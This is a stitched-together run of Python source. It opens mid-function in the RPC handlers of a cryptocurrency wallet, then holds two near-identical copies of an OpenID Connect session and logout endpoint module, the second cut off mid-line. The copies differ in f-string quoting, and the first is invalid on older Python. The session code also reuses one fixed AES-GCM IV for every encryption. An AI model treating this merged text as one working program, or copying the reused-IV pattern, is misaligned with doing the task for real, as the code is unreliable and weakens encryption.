"error": str(e)} elif "fingerprint" in request: sk, seed = await self._get_private_key(request["fingerprint"]) if sk is None: raise ValueError("Unable to decrypt the backup file.") backup_info = get_backup_info(file_path, sk) return {"backup_info": backup_info} ########################################################################################## # Distributed Identities ########################################################################################## async def did_update_recovery_ids(self, request): wallet_id = int(request["wallet_id"]) wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] recovery_list = [] for _ in request["new_list"]: recovery_list.append(hexstr_to_bytes(_)) if "num_verifications_required" in request: new_amount_verifications_required = uint64(request["num_verifications_required"]) else: new_amount_verifications_required = len(recovery_list) async with self.service.wallet_state_manager.lock: update_success = await wallet.update_recovery_list(recovery_list, new_amount_verifications_required) # Update coin with new ID info updated_puz = await wallet.get_new_puzzle() spend_bundle = await wallet.create_spend(updated_puz.get_tree_hash()) success = spend_bundle is not None and update_success return {"success": success} async def did_spend(self, request): wallet_id = int(request["wallet_id"]) async with self.service.wallet_state_manager.lock: wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] spend_bundle = await wallet.create_spend(request["puzzlehash"]) success = spend_bundle is not None return {"success": success} async def did_get_did(self, request): wallet_id = int(request["wallet_id"]) wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] my_did: str = wallet.get_my_DID() async with self.service.wallet_state_manager.lock: coins = await wallet.select_coins(1) if coins is None or coins == set(): return {"success": True, "wallet_id": wallet_id, "my_did": my_did} else: coin = coins.pop() return {"success": True, "wallet_id": wallet_id, "my_did": my_did, "coin_id": coin.name()} async def did_get_recovery_list(self, request): wallet_id = int(request["wallet_id"]) wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] recovery_list = wallet.did_info.backup_ids recover_hex_list = [] for _ in recovery_list: recover_hex_list.append(_.hex()) return { "success": True, "wallet_id": wallet_id, "recover_list": recover_hex_list, "num_required": wallet.did_info.num_of_backup_ids_needed, } async def did_recovery_spend(self, request): wallet_id = int(request["wallet_id"]) wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] if len(request["attest_filenames"]) < wallet.did_info.num_of_backup_ids_needed: return {"success": False, "reason": "insufficient messages"} async with self.service.wallet_state_manager.lock: ( info_list, message_spend_bundle, ) = await wallet.load_attest_files_for_recovery_spend(request["attest_filenames"]) if "pubkey" in request: pubkey = G1Element.from_bytes(hexstr_to_bytes(request["pubkey"])) else: assert wallet.did_info.temp_pubkey is not None pubkey = wallet.did_info.temp_pubkey if "puzhash" in request: puzhash = hexstr_to_bytes(request["puzhash"]) else: assert wallet.did_info.temp_puzhash is not None puzhash = wallet.did_info.temp_puzhash success = await wallet.recovery_spend( wallet.did_info.temp_coin, puzhash, info_list, pubkey, message_spend_bundle, ) return {"success": success} async def did_get_pubkey(self, request): wallet_id = int(request["wallet_id"]) wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] pubkey = bytes((await wallet.wallet_state_manager.get_unused_derivation_record(wallet_id)).pubkey).hex() return {"success": True, "pubkey": pubkey} async def did_create_attest(self, request): wallet_id = int(request["wallet_id"]) wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] async with self.service.wallet_state_manager.lock: info = await wallet.get_info_for_recovery() coin = hexstr_to_bytes(request["coin_name"]) pubkey = G1Element.from_bytes(hexstr_to_bytes(request["pubkey"])) spend_bundle = await wallet.create_attestment( coin, hexstr_to_bytes(request["puzhash"]), pubkey, request["filename"] ) if spend_bundle is not None: return { "success": True, "message_spend_bundle": bytes(spend_bundle).hex(), "info": [info[0].hex(), info[1].hex(), info[2]], } else: return {"success": False} async def did_get_information_needed_for_recovery(self, request): wallet_id = int(request["wallet_id"]) did_wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] my_did = did_wallet.get_my_DID() coin_name = did_wallet.did_info.temp_coin.name().hex() return { "success": True, "wallet_id": wallet_id, "my_did": my_did, "coin_name": coin_name, "newpuzhash": did_wallet.did_info.temp_puzhash, "pubkey": did_wallet.did_info.temp_pubkey, "backup_dids": did_wallet.did_info.backup_ids, } async def did_create_backup_file(self, request): try: wallet_id = int(request["wallet_id"]) did_wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] did_wallet.create_backup(request["filename"]) return {"wallet_id": wallet_id, "success": True} except Exception: return {"wallet_id": wallet_id, "success": False} ########################################################################################## # Rate Limited Wallet ########################################################################################## async def rl_set_user_info(self, request): assert self.service.wallet_state_manager is not None wallet_id = uint32(int(request["wallet_id"])) rl_user = self.service.wallet_state_manager.wallets[wallet_id] origin = request["origin"] async with self.service.wallet_state_manager.lock: await rl_user.set_user_info( uint64(request["interval"]), uint64(request["limit"]), origin["parent_coin_info"], origin["puzzle_hash"], origin["amount"], request["admin_pubkey"], ) return {} async def send_clawback_transaction(self, request): assert self.service.wallet_state_manager is not None wallet_id = int(request["wallet_id"]) wallet: RLWallet = self.service.wallet_state_manager.wallets[wallet_id] fee = int(request["fee"]) async with self.service.wallet_state_manager.lock: tx = await wallet.clawback_rl_coin_transaction(fee) await wallet.push_transaction(tx) # Transaction may not have been included in the mempool yet. Use get_transaction to check. return { "transaction": tx, "transaction_id": tx.name, } async def add_rate_limited_funds(self, request): wallet_id = uint32(request["wallet_id"]) wallet: RLWallet = self.service.wallet_state_manager.wallets[wallet_id] puzzle_hash = wallet.rl_get_aggregation_puzzlehash(wallet.rl_info.rl_puzzle_hash) async with self.service.wallet_state_manager.lock: await wallet.rl_add_funds(request["amount"], puzzle_hash, request["fee"]) return {"status": "SUCCESS"} async def get_farmed_amount(self, request): tx_records: List[TransactionRecord] = await self.service.wallet_state_manager.tx_store.get_farming_rewards() amount = 0 pool_reward_amount = 0 farmer_reward_amount = 0 fee_amount = 0 last_height_farmed = 0 for record in tx_records: if record.wallet_id not in self.service.wallet_state_manager.wallets: continue if record.type == TransactionType.COINBASE_REWARD: if self.service.wallet_state_manager.wallets[record.wallet_id].type() == WalletType.POOLING_WALLET: # Don't add pool rewards for pool wallets. continue pool_reward_amount += record.amount height = record.height_farmed(self.service.constants.GENESIS_CHALLENGE) if record.type == TransactionType.FEE_REWARD: fee_amount += record.amount - calculate_base_farmer_reward(height) farmer_reward_amount += calculate_base_farmer_reward(height) if height > last_height_farmed: last_height_farmed = height amount += record.amount assert amount == pool_reward_amount + farmer_reward_amount + fee_amount return { "farmed_amount": amount, "pool_reward_amount": pool_reward_amount, "farmer_reward_amount": farmer_reward_amount, "fee_amount": fee_amount, "last_height_farmed": last_height_farmed, } async def create_signed_transaction(self, request, hold_lock=True): if "additions" not in request or len(request["additions"]) < 1: raise ValueError("Specify additions list") additions: List[Dict] = request["additions"] amount_0: uint64 = uint64(additions[0]["amount"]) assert amount_0 <= self.service.constants.MAX_COIN_AMOUNT puzzle_hash_0 = hexstr_to_bytes(additions[0]["puzzle_hash"]) if len(puzzle_hash_0) != 32: raise ValueError(f"Address must be 32 bytes. {puzzle_hash_0}") additional_outputs = [] for addition in additions[1:]: receiver_ph = hexstr_to_bytes(addition["puzzle_hash"]) if len(receiver_ph) != 32: raise ValueError(f"Address must be 32 bytes. {receiver_ph}") amount = uint64(addition["amount"]) if amount > self.service.constants.MAX_COIN_AMOUNT: raise ValueError(f"Coin amount cannot exceed {self.service.constants.MAX_COIN_AMOUNT}") additional_outputs.append({"puzzlehash": receiver_ph, "amount": amount}) fee = uint64(0) if "fee" in request: fee = uint64(request["fee"]) coins = None if "coins" in request and len(request["coins"]) > 0: coins = set([Coin.from_json_dict(coin_json) for coin_json in request["coins"]]) if hold_lock: async with self.service.wallet_state_manager.lock: signed_tx = await self.service.wallet_state_manager.main_wallet.generate_signed_transaction( amount_0, puzzle_hash_0, fee, coins=coins, ignore_max_send_amount=True, primaries=additional_outputs ) else: signed_tx = await self.service.wallet_state_manager.main_wallet.generate_signed_transaction( amount_0, puzzle_hash_0, fee, coins=coins, ignore_max_send_amount=True, primaries=additional_outputs ) return {"signed_tx": signed_tx} ########################################################################################## # Pool Wallet ########################################################################################## async def pw_join_pool(self, request): wallet_id = uint32(request["wallet_id"]) wallet: PoolWallet = self.service.wallet_state_manager.wallets[wallet_id] pool_wallet_info: PoolWalletInfo = await wallet.get_current_state() owner_pubkey = pool_wallet_info.current.owner_pubkey target_puzzlehash = None if "target_puzzlehash" in request: target_puzzlehash = bytes32(hexstr_to_bytes(request["target_puzzlehash"])) new_target_state: PoolState = create_pool_state( FARMING_TO_POOL, target_puzzlehash, owner_pubkey, request["pool_url"], uint32(request["relative_lock_height"]), ) async with self.service.wallet_state_manager.lock: tx: TransactionRecord = await wallet.join_pool(new_target_state) return {"transaction": tx} async def pw_self_pool(self, request): # Leaving a pool requires two state transitions. # First we transition to PoolSingletonState.LEAVING_POOL # Then we transition to FARMING_TO_POOL or SELF_POOLING wallet_id = uint32(request["wallet_id"]) wallet: PoolWallet = self.service.wallet_state_manager.wallets[wallet_id] async with self.service.wallet_state_manager.lock: tx: TransactionRecord = await wallet.self_pool() return {"transaction": tx} async def pw_absorb_rewards(self, request): """Perform a sweep of the p2_singleton rewards controlled by the pool wallet singleton""" if await self.service.wallet_state_manager.synced() is False: raise ValueError("Wallet needs to be fully synced before collecting rewards") wallet_id = uint32(request["wallet_id"]) wallet: PoolWallet = self.service.wallet_state_manager.wallets[wallet_id] fee = uint64(request["fee"]) async with self.service.wallet_state_manager.lock: transaction: TransactionRecord = await wallet.claim_pool_rewards(fee) state: PoolWalletInfo = await wallet.get_current_state() return {"state": state.to_json_dict(), "transaction": transaction} async def pw_status(self, request): """Return the complete state of the Pool wallet with id `request["wallet_id"]`""" wallet_id = uint32(request["wallet_id"]) wallet: PoolWallet = self.service.wallet_state_manager.wallets[wallet_id] if wallet.type() != WalletType.POOLING_WALLET.value: raise ValueError(f"wallet_id {wallet_id} is not a pooling wallet") state: PoolWalletInfo = await wallet.get_current_state() unconfirmed_transactions: List[TransactionRecord] = await wallet.get_unconfirmed_transactions() return { "state": state.to_json_dict(), "unconfirmed_transactions": unconfirmed_transactions, }
import json import logging from typing import Optional from typing import Union from urllib.parse import parse_qs from urllib.parse import urlencode from urllib.parse import urlparse from cryptojwt import as_unicode from cryptojwt import b64d from cryptojwt.jwe.aes import AES_GCMEncrypter from cryptojwt.jwe.utils import split_ctx_and_tag from cryptojwt.jws.exception import JWSException from cryptojwt.jws.jws import factory from cryptojwt.jws.utils import alg2keytype from cryptojwt.jwt import JWT from cryptojwt.utils import as_bytes from cryptojwt.utils import b64e from oidcmsg.exception import InvalidRequest from oidcmsg.exception import VerificationError from oidcmsg.message import Message from oidcmsg.oauth2 import ResponseMessage from oidcmsg.oidc import verified_claim_name from oidcmsg.oidc.session import BACK_CHANNEL_LOGOUT_EVENT from oidcmsg.oidc.session import EndSessionRequest from oidcop import rndstr from oidcop.client_authn import UnknownOrNoAuthnMethod from oidcop.endpoint import Endpoint from oidcop.endpoint_context import add_path from oidcop.oauth2.authorization import verify_uri logger = logging.getLogger(__name__) def do_front_channel_logout_iframe(cinfo, iss, sid): """ :param cinfo: Client info :param iss: Issuer ID :param sid: Session ID :return: IFrame """ try: frontchannel_logout_uri = cinfo["frontchannel_logout_uri"] except KeyError: return None try: flsr = cinfo["frontchannel_logout_session_required"] except KeyError: flsr = False logger.debug(f"frontchannel_logout_uri: {frontchannel_logout_uri}") logger.debug(f"frontchannel_logout_session_required: {flsr}") if flsr: _query = {"iss": iss, "sid": sid} if "?" in frontchannel_logout_uri: p = urlparse(frontchannel_logout_uri) _args = parse_qs(p.query) _args.update(_query) _query = _args _np = p._replace(query="") frontchannel_logout_uri = _np.geturl() logger.debug(f"IFrame query: {_query}") _iframe = '<iframe src="{}?{}">'.format( frontchannel_logout_uri, urlencode(_query, doseq=True) ) else: _iframe = '<iframe src="{}">'.format(frontchannel_logout_uri) return _iframe class Session(Endpoint): request_cls = EndSessionRequest response_cls = Message request_format = "urlencoded" response_format = "urlencoded" response_placement = "url" endpoint_name = "end_session_endpoint" name = "session" default_capabilities = { "frontchannel_logout_supported": True, "frontchannel_logout_session_supported": True, "backchannel_logout_supported": True, "backchannel_logout_session_supported": True, "check_session_iframe": None, } def __init__(self, server_get, **kwargs): _csi = kwargs.get("check_session_iframe") if _csi and not _csi.startswith("http"): kwargs["check_session_iframe"] = add_path(server_get("endpoint_context").issuer, _csi) Endpoint.__init__(self, server_get, **kwargs) self.iv = as_bytes(rndstr(24)) def _encrypt_sid(self, sid): encrypter = AES_GCMEncrypter(key=as_bytes(self.server_get("endpoint_context").symkey)) enc_msg = encrypter.encrypt(as_bytes(sid), iv=self.iv) return as_unicode(b64e(enc_msg)) def _decrypt_sid(self, enc_msg): _msg = b64d(as_bytes(enc_msg)) encrypter = AES_GCMEncrypter(key=as_bytes(self.server_get("endpoint_context").symkey)) ctx, tag = split_ctx_and_tag(_msg) return as_unicode(encrypter.decrypt(as_bytes(ctx), iv=self.iv, tag=as_bytes(tag))) def do_back_channel_logout(self, cinfo, sid): """ :param cinfo: Client information :param sid: The session ID :return: Tuple with logout URI and signed logout token """ _context = self.server_get("endpoint_context") try: back_channel_logout_uri = cinfo["backchannel_logout_uri"] except KeyError: return None # Create the logout token # always include sub and sid so I don't check for # backchannel_logout_session_required # enc_msg = self._encrypt_sid(sid) payload = {"sid": sid, "events": {BACK_CHANNEL_LOGOUT_EVENT: {}}} try: alg = cinfo["id_token_signed_response_alg"] except KeyError: alg = _context.provider_info["id_token_signing_alg_values_supported"][0] _jws = JWT(_context.keyjar, iss=_context.issuer, lifetime=86400, sign_alg=alg) _jws.with_jti = True _logout_token = _jws.pack(payload=payload, recv=cinfo["client_id"]) return back_channel_logout_uri, _logout_token def clean_sessions(self, usids): # Revoke all sessions _context = self.server_get("endpoint_context") for sid in usids: _context.session_manager.revoke_client_session(sid) def logout_all_clients(self, sid): _context = self.server_get("endpoint_context") _mngr = _context.session_manager _session_info = _mngr.get_session_info( sid, user_session_info=True, client_session_info=True, grant=True ) # Front-/Backchannel logout ? _cdb = _context.cdb _iss = _context.issuer _user_id = _session_info["user_id"] logger.debug( f"(logout_all_clients) user_id={_user_id}, client_id={_session_info["client_id"]}, " f"grant_id={_session_info["grant_id"]}" ) bc_logouts = {} fc_iframes = {} _rel_sid = [] for _client_id in _session_info["user_session_info"].subordinate: # I prefer back-channel. Should it be configurable ? if "backchannel_logout_uri" in _cdb[_client_id]: _cli = _mngr.get([_user_id, _client_id]) for gid in _cli.subordinate: grant = _mngr.get([_user_id, _client_id, gid]) # Has to be connected to an authentication event if not grant.authentication_event: continue idt = grant.last_issued_token_of_type("id_token") if idt: _rel_sid.append(idt.session_id) _spec = self.do_back_channel_logout(_cdb[_client_id], idt.session_id) if _spec: bc_logouts[_client_id] = _spec break elif "frontchannel_logout_uri" in _cdb[_client_id]: _cli = _mngr.get([_user_id, _client_id]) for gid in _cli.subordinate: grant = _mngr.get([_user_id, _client_id, gid]) # Has to be connected to an authentication event if not grant.authentication_event: continue idt = grant.last_issued_token_of_type("id_token") if idt: _rel_sid.append(idt.session_id) # Construct an IFrame _spec = do_front_channel_logout_iframe( _cdb[_client_id], _iss, idt.session_id ) if _spec: fc_iframes[_client_id] = _spec break self.clean_sessions(_rel_sid) res = {} if bc_logouts: res["blu"] = bc_logouts if fc_iframes: res["flu"] = fc_iframes return res def unpack_signed_jwt(self, sjwt, sig_alg=""): _jwt = factory(sjwt) if _jwt: if sig_alg: alg = sig_alg else: alg = self.kwargs["signing_alg"] sign_keys = self.server_get("endpoint_context").keyjar.get_signing_key(alg2keytype(alg)) _info = _jwt.verify_compact(keys=sign_keys, sigalg=alg) return _info else: raise ValueError("Not a signed JWT") def logout_from_client(self, sid): _context = self.server_get("endpoint_context") _cdb = _context.cdb _session_information = _context.session_manager.get_session_info(sid, grant=True) _client_id = _session_information["client_id"] res = {} if "backchannel_logout_uri" in _cdb[_client_id]: _spec = self.do_back_channel_logout(_cdb[_client_id], sid) if _spec: res["blu"] = {_client_id: _spec} elif "frontchannel_logout_uri" in _cdb[_client_id]: # Construct an IFrame _spec = do_front_channel_logout_iframe(_cdb[_client_id], _context.issuer, sid) if _spec: res["flu"] = {_client_id: _spec} self.clean_sessions([sid]) return res def process_request( self, request: Optional[Union[Message, dict]] = None, http_info: Optional[dict] = None, **kwargs, ): """ Perform user logout :param request: :param http_info: :param kwargs: :return: """ _context = self.server_get("endpoint_context") _mngr = _context.session_manager if "post_logout_redirect_uri" in request: if "id_token_hint" not in request: raise InvalidRequest("If post_logout_redirect_uri then id_token_hint is a MUST") _cookies = http_info.get("cookie") _session_info = None if _cookies: logger.debug("parse_cookie@session") _cookie_name = _context.cookie_handler.name["session"] try: _cookie_infos = _context.cookie_handler.parse_cookie( cookies=_cookies, name=_cookie_name ) except VerificationError: raise InvalidRequest("Cookie error") if _cookie_infos: # value is a JSON document _cookie_info = json.loads(_cookie_infos[0]["value"]) logger.debug("process_request: cookie_info={}".format(_cookie_info)) try: _session_info = _mngr.get_session_info(_cookie_info["sid"], grant=True) except KeyError: raise ValueError("Can't find any corresponding session") if _session_info is None: logger.debug("No relevant cookie") raise ValueError("Missing cookie") if "id_token_hint" in request and _session_info: _id_token = request[verified_claim_name("id_token_hint")] logger.debug("ID token hint: {}".format(_id_token)) _aud = _id_token["aud"] if _session_info["client_id"] not in _aud: raise ValueError("Client ID doesn't match") if _id_token["sub"] != _session_info["grant"].sub: raise ValueError("Sub doesn't match") else: _aud = [] # _context.cdb[_session_info["client_id"]] # verify that the post_logout_redirect_uri if present are among the ones # registered try: _uri = request["post_logout_redirect_uri"] except KeyError: if _context.issuer.endswith("/"): _uri = "{}{}".format(_context.issuer, self.kwargs["post_logout_uri_path"]) else: _uri = "{}/{}".format(_context.issuer, self.kwargs["post_logout_uri_path"]) plur = False else: plur = True verify_uri( _context, request, "post_logout_redirect_uri", client_id=_session_info["client_id"], ) payload = { "sid": _session_info["session_id"], } # redirect user to OP logout verification page if plur and "state" in request: _uri = "{}?{}".format(_uri, urlencode({"state": request["state"]})) payload["state"] = request["state"] payload["redirect_uri"] = _uri logger.debug("JWS payload: {}".format(payload)) # From me to me _jws = JWT( _context.keyjar, iss=_context.issuer, lifetime=86400, sign_alg=self.kwargs["signing_alg"], ) sjwt = _jws.pack(payload=payload, recv=_context.issuer) location = "{}?{}".format(self.kwargs["logout_verify_url"], urlencode({"sjwt": sjwt})) return {"redirect_location": location} def parse_request(self, request, http_info=None, **kwargs): """ :param request: :param auth: :param kwargs: :return: """ if not request: request = {} # Verify that the client is allowed to do this try: auth_info = self.client_authentication(request, http_info, **kwargs) except UnknownOrNoAuthnMethod: pass else: if not auth_info: pass elif isinstance(auth_info, ResponseMessage): return auth_info else: request["client_id"] = auth_info["client_id"] request["access_token"] = auth_info["token"] if isinstance(request, dict): _context = self.server_get("endpoint_context") request = self.request_cls(**request) if not request.verify(keyjar=_context.keyjar, sigalg=""): raise InvalidRequest("Request didn't verify") # id_token_signing_alg_values_supported try: _ith = request[verified_claim_name("id_token_hint")] except KeyError: pass else: if ( _ith.jws_header["alg"] not in _context.provider_info["id_token_signing_alg_values_supported"] ): raise JWSException("Unsupported signing algorithm") return request def do_verified_logout(self, sid, alla=False, **kwargs): logger.debug(f"(do_verified_logout): sid={sid}") if alla: _res = self.logout_all_clients(sid=sid) else: _res = self.logout_from_client(sid=sid) bcl = _res.get("blu") if bcl: _context = self.server_get("endpoint_context") # take care of Back channel logout first for _cid, spec in bcl.items(): _url, sjwt = spec logger.info("logging out from {} at {}".format(_cid, _url)) res = _context.httpc.post( _url, data="logout_token={}".format(sjwt), headers={"Content-Type": "application/x-www-form-urlencoded"}, **_context.httpc_params, ) if res.status_code < 300: logger.info("Logged out from {}".format(_cid)) elif res.status_code in [501, 504]: logger.info("Got a %s which is acceptable", res.status_code) elif res.status_code >= 400: logger.info("failed to logout from {}".format(_cid)) return _res["flu"].values() if _res.get("flu") else [] def kill_cookies(self): _context = self.server_get("endpoint_context") _handler = _context.cookie_handler session_mngmnt = _handler.make_cookie_content( value="", name=_handler.name["session_management"], max_age=-1 ) session = _handler.make_cookie_content(value="", name=_handler.name["session"], max_age=-1) return [session_mngmnt, session]
import json import logging from typing import Optional from typing import Union from urllib.parse import parse_qs from urllib.parse import urlencode from urllib.parse import urlparse from cryptojwt import as_unicode from cryptojwt import b64d from cryptojwt.jwe.aes import AES_GCMEncrypter from cryptojwt.jwe.utils import split_ctx_and_tag from cryptojwt.jws.exception import JWSException from cryptojwt.jws.jws import factory from cryptojwt.jws.utils import alg2keytype from cryptojwt.jwt import JWT from cryptojwt.utils import as_bytes from cryptojwt.utils import b64e from oidcmsg.exception import InvalidRequest from oidcmsg.exception import VerificationError from oidcmsg.message import Message from oidcmsg.oauth2 import ResponseMessage from oidcmsg.oidc import verified_claim_name from oidcmsg.oidc.session import BACK_CHANNEL_LOGOUT_EVENT from oidcmsg.oidc.session import EndSessionRequest from oidcop import rndstr from oidcop.client_authn import UnknownOrNoAuthnMethod from oidcop.endpoint import Endpoint from oidcop.endpoint_context import add_path from oidcop.oauth2.authorization import verify_uri logger = logging.getLogger(__name__) def do_front_channel_logout_iframe(cinfo, iss, sid): """ :param cinfo: Client info :param iss: Issuer ID :param sid: Session ID :return: IFrame """ try: frontchannel_logout_uri = cinfo["frontchannel_logout_uri"] except KeyError: return None try: flsr = cinfo["frontchannel_logout_session_required"] except KeyError: flsr = False logger.debug(f"frontchannel_logout_uri: {frontchannel_logout_uri}") logger.debug(f"frontchannel_logout_session_required: {flsr}") if flsr: _query = {"iss": iss, "sid": sid} if "?" in frontchannel_logout_uri: p = urlparse(frontchannel_logout_uri) _args = parse_qs(p.query) _args.update(_query) _query = _args _np = p._replace(query="") frontchannel_logout_uri = _np.geturl() logger.debug(f"IFrame query: {_query}") _iframe = '<iframe src="{}?{}">'.format( frontchannel_logout_uri, urlencode(_query, doseq=True) ) else: _iframe = '<iframe src="{}">'.format(frontchannel_logout_uri) return _iframe class Session(Endpoint): request_cls = EndSessionRequest response_cls = Message request_format = "urlencoded" response_format = "urlencoded" response_placement = "url" endpoint_name = "end_session_endpoint" name = "session" default_capabilities = { "frontchannel_logout_supported": True, "frontchannel_logout_session_supported": True, "backchannel_logout_supported": True, "backchannel_logout_session_supported": True, "check_session_iframe": None, } def __init__(self, server_get, **kwargs): _csi = kwargs.get("check_session_iframe") if _csi and not _csi.startswith("http"): kwargs["check_session_iframe"] = add_path(server_get("endpoint_context").issuer, _csi) Endpoint.__init__(self, server_get, **kwargs) self.iv = as_bytes(rndstr(24)) def _encrypt_sid(self, sid): encrypter = AES_GCMEncrypter(key=as_bytes(self.server_get("endpoint_context").symkey)) enc_msg = encrypter.encrypt(as_bytes(sid), iv=self.iv) return as_unicode(b64e(enc_msg)) def _decrypt_sid(self, enc_msg): _msg = b64d(as_bytes(enc_msg)) encrypter = AES_GCMEncrypter(key=as_bytes(self.server_get("endpoint_context").symkey)) ctx, tag = split_ctx_and_tag(_msg) return as_unicode(encrypter.decrypt(as_bytes(ctx), iv=self.iv, tag=as_bytes(tag))) def do_back_channel_logout(self, cinfo, sid): """ :param cinfo: Client information :param sid: The session ID :return: Tuple with logout URI and signed logout token """ _context = self.server_get("endpoint_context") try: back_channel_logout_uri = cinfo["backchannel_logout_uri"] except KeyError: return None # Create the logout token # always include sub and sid so I don't check for # backchannel_logout_session_required # enc_msg = self._encrypt_sid(sid) payload = {"sid": sid, "events": {BACK_CHANNEL_LOGOUT_EVENT: {}}} try: alg = cinfo["id_token_signed_response_alg"] except KeyError: alg = _context.provider_info["id_token_signing_alg_values_supported"][0] _jws = JWT(_context.keyjar, iss=_context.issuer, lifetime=86400, sign_alg=alg) _jws.with_jti = True _logout_token = _jws.pack(payload=payload, recv=cinfo["client_id"]) return back_channel_logout_uri, _logout_token def clean_sessions(self, usids): # Revoke all sessions _context = self.server_get("endpoint_context") for sid in usids: _context.session_manager.revoke_client_session(sid) def logout_all_clients(self, sid): _context = self.server_get("endpoint_context") _mngr = _context.session_manager _session_info = _mngr.get_session_info( sid, user_session_info=True, client_session_info=True, grant=True ) # Front-/Backchannel logout ? _cdb = _context.cdb _iss = _context.issuer _user_id = _session_info["user_id"] logger.debug( f"(logout_all_clients) user_id={_user_id}, client_id={_session_info['client_id']}, " f"grant_id={_session_info['grant_id']}" ) bc_logouts = {} fc_iframes = {} _rel_sid = [] for _client_id in _session_info["user_session_info"].subordinate: # I prefer back-channel. Should it be configurable ? if "backchannel_logout_uri" in _cdb[_client_id]: _cli = _mngr.get([_user_id, _client_id]) for gid in _cli.subordinate: grant = _mngr.get([_user_id, _client_id, gid]) # Has to be connected to an authentication event if not grant.authentication_event: continue idt = grant.last_issued_token_of_type("id_token") if idt: _rel_sid.append(idt.session_id) _spec = self.do_back_channel_logout(_cdb[_client_id], idt.session_id) if _spec: bc_logouts[_client_id] = _spec break elif "frontchannel_logout_uri" in _cdb[_client_id]: _cli = _mngr.get([_user_id, _client_id]) for gid in _cli.subordinate: grant = _mngr.get([_user_id, _client_id, gid]) # Has to be connected to an authentication event if not grant.authentication_event: continue idt = grant.last_issued_token_of_type("id_token") if idt: _rel_sid.append(idt.session_id) # Construct an IFrame _spec = do_front_channel_logout_iframe( _cdb[_client_id], _iss, idt.session_id ) if _spec: fc_iframes[_client_id] = _spec break self.clean_sessions(_rel_sid) res = {} if bc_logouts: res["blu"] = bc_logouts if fc_iframes: res["flu"] = fc_iframes return res def unpack_signed_jwt(self, sjwt, sig_alg=""): _jwt = factory(sjwt) if _jwt: if sig_alg: alg = sig_alg else: alg = self.kwargs["signing_alg"] sign_keys = self.server_get("endpoint_context").keyjar.get_signing_key(alg2keytype(alg)) _info = _jwt.verify_compact(keys=sign_keys, sigalg=alg) return _info else: raise ValueError("Not a signed JWT") def logout_from_client(self, sid): _context = self.server_get("endpoint_context") _cdb = _context.cdb _session_information = _context.session_manager.get_session_info(sid, grant=True) _client_id = _session_information["client_id"] res = {} if "backchannel_logout_uri" in _cdb[_client_id]: _spec = self.do_back_channel_logout(_cdb[_client_id], sid) if _spec: res["blu"] = {_client_id: _spec} elif "frontchannel_logout_uri" in _cdb[_client_id]: # Construct an IFrame _spec = do_front_channel_logout_iframe(_cdb[_client_id], _context.issuer, sid) if _spec: res["flu"] = {_client_id: _spec} self.clean_sessions([sid]) return res def process_request( self, request: Optional[Union[Message, dict]] = None, http_info: Optional[dict] = None, **kwargs, ): """ Perform user logout :param request: :param http_info: :param kwargs: :return: """ _context = self.server_get("endpoint_context") _mngr = _context.session_manager if "post_logout_redirect_uri" in request: if "id_token_hint" not in request: raise InvalidRequest("If post_logout_redirect_uri then id_token_hint is a MUST") _cookies = http_info.get("cookie") _session_info = None if _cookies: logger.debug("parse_cookie@session") _cookie_name = _context.cookie_handler.name["session"] try: _cookie_infos = _context.cookie_handler.parse_cookie( cookies=_cookies, name=_cookie_name ) except VerificationError: raise InvalidRequest("Cookie error") if _cookie_infos: # value is a JSON document _cookie_info = json.loads(_cookie_infos[0]["value"]) logger.debug("process_request: cookie_info={}".format(_cookie_info)) try: _session_info = _mngr.get_session_info(_cookie_info["sid"], grant=True) except KeyError: raise ValueError("Can't find any corresponding session") if _session_info is None: logger.debug("No relevant cookie") raise ValueError("Missing cookie") if "id_token_hint" in request and _session_info: _id_token = request[verified_claim_name("id_token_hint")] logger.debug("ID token hint: {}".format(_id_token)) _aud = _id_token["aud"] if _session_info["client_id"] not in _aud: raise ValueError("Client ID doesn't match") if _id_token["sub"] != _session_info["grant"].sub: raise ValueError("Sub doesn't match") else: _aud = [] # _context.cdb[_session_info["client_id"]] # verify that the post_logout_redirect_uri if present are among the ones # registered try: _uri = request["post_logout_redirect_uri"] except KeyError: if _context.issuer.endswith("/"): _uri = "{}{}".format(_context.issuer, self.kwargs["post_logout_uri_path"]) else: _uri = "{}/{}".format(_context.issuer, self.kwargs["post_logout_uri_path"]) plur = False else: plur = True verify_uri( _context, request, "post_logout_redirect_uri", client_id=_session_info["client_id"], ) payload = { "sid": _session_info["session_id"], } # redirect user to OP logout verification page if plur and "state" in request: _uri = "{}?{}".format(_uri, urlencode({"state": request["state"]})) payload["state"] = request["state"] payload["redirect_uri"] = _uri logger.debug("JWS payload: {}".format(payload)) # From me to me _jws = JWT( _context.keyjar, iss=_context.issuer, lifetime=86400, sign_alg=self.kwargs["signing_alg"], ) sjwt = _jws.pack(payload=payload, recv=_context.issuer) location = "{}?{}".format(self.kwargs["logout_verify_url"], urlencode({"sjwt": sjwt})) return {"redirect_location": location} def parse_request(self, request, http_info=None, **kwargs): """ :param request: :param auth: :param kwargs: :return: """ if not request: request = {} # Verify that the client is allowed to do this try: auth_info = self.client_authentication(request, http_info, **kwargs) except UnknownOrNoAuthnMethod: pass else: if not auth_info: pass elif isinstance(auth_info, ResponseMessage): return auth_info else: request["client_id"] = auth_info["client_id"] request["access_token"] = auth_info["token"] if isinstance(request, dict): _context = self.server_get("endpoint_context") request = self.request_cls(**request) if not request.verify(keyjar=_context.keyjar, sigalg=""): raise InvalidRequest("Request didn't verify") # id_token_signing_alg_values_supported try: _ith = request[verified_claim_name("id_token_hint")] except KeyError: pass else: if ( _ith.jws_header["alg"] not in _context.provider_info["id_token_signing_alg_values_supported"] ): raise JWSException("Unsupported signing algorithm") return request def do_verified_logout(self, sid, alla=False, **kwargs): logger.debug(f"(do_verified_logout): sid={sid}") if alla: _res = self.logout_all_clients(sid=sid) else: _res = self.logout_from_client(sid=sid) bcl = _res.get("blu") if bcl: _context = self.server_get("endpoint_context") # take care of Back channel logout first for _cid, spec in bcl.items(): _url, sjwt = spec logger.info("logging out from {} at {}".format(_cid, _url)) res = _context.httpc.post( _url, data="logout_token={}".format(sjwt), headers={"Content-Type": "application/x-www-form-urlencoded"}, **_context.httpc_params, ) if res.status_code < 300: logger.info("Logged out from 